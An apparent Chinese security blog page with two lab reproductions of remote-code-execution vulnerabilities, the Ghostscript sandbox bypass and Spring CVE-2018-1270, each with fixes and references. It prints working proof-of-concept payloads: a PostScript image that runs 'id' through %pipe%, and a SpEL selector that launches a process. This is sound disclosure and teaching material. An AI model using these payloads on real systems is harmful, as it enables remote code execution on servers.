Tag:命令执行

Tag (命令执行)'s result:

ghostscript远程命令执行漏洞重现

0x00 概述 8月22日,网上爆出ghostscript远程命令执行漏洞,发现者:Google Project Zero安全研究员Tavis Ormandy。通过构造包含恶意内容的图片可以造成远程代码执行(沙箱绕过)   0x01 影响范围 ghostscript, python PIL, Imagemagick Libmagick Graphicsmagick Gimp python-matplotlib texlive-core Texmacs latex2html latex2rtf 等使用ghostscript的应用。   0x02 漏洞重现 环境:debian 环境:vulhub 1.网站程序: 2. convert 也可以进入容器: 或者执行生成文件的payload: poc1.png: %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops   Tavis Ormandy也已经在Ubuntu和CentOS上确认了漏洞: Ubuntu: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023   CentOS: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023   0x03 修复方案 1.在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器。 <policy domain =“coder”rights =“none”pattern =“PS”/> <policy domain =“coder”rights =“none”pattern =“EPS”/> <policy domain =“coder”rights =“none” pattern =“PDF”/> <policy domain =“coder”rights =“none”pattern =“XPS”/> 2.如非必要,直接卸载ghostscript。   0x04 结语 有兴趣可以了解下原理,发现者还有一个ghostscript的代码执行漏洞(CVE-2017-8291)。   0x05 参考资料 https://www.anquanke.com/post/id/157380 http://seclists.org/oss-sec/2018/q3/142    

spring-messaging RCE(cve-2018-1270) 重现

0x00 概述 4月5号网上爆出spring框架的一个rce漏洞,编号cve-2018-1270,著名的ssh框架就用了spring。 漏洞存在于spring-message模块, 大致流程是: 类DefaultSubscriptionRegistry.java的addSubscriptionInternal方法中,有expression = this.expressionParser.parseExpression(selector); 这个spel表达式语句,selector可控,如果要命令执行,需要expression.getValue或expression.setValue,而后面就有 if (Boolean.TRUE.equals(expression.getValue(context, Boolean.class))) 如果感兴趣还可以深入跟踪触发流程。 本文对此漏洞进行重现。   0x01 影响范围 Spring Framework 5.0 to 5.0.4 Spring Framework 4.3 to 4.3.14 以及更老的不支持的版本   0x02 漏洞重现 测试环境: git clone https://github.com/spring-guides/gs-messaging-stomp-websocket git checkout 6958af0b02bf05282673826b73cd7a85e84c12d3 cd complete ./mvnw spring-boot:run http://192.168.110.10:8080 重现: 开启抓包,点击connect 得到 [“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\n\n\u0000″] 这个包, 加入payload: selector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n 得: [“SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:new java.lang.ProcessBuilder(\”calc.exe\”).start()\n\n\u0000″] 放行, 再send 重现成功! 再赠送个xss   0x03 修复方案 升级到5.0.5或4.3.15   0x04 参考资料 https://pivotal.io/security/cve-2018-1270 www.polaris-lab.com/index.php/archives/501/ https://xz.aliyun.com/t/2252 https://github.com/spring-guides/gs-messaging-stomp-websocket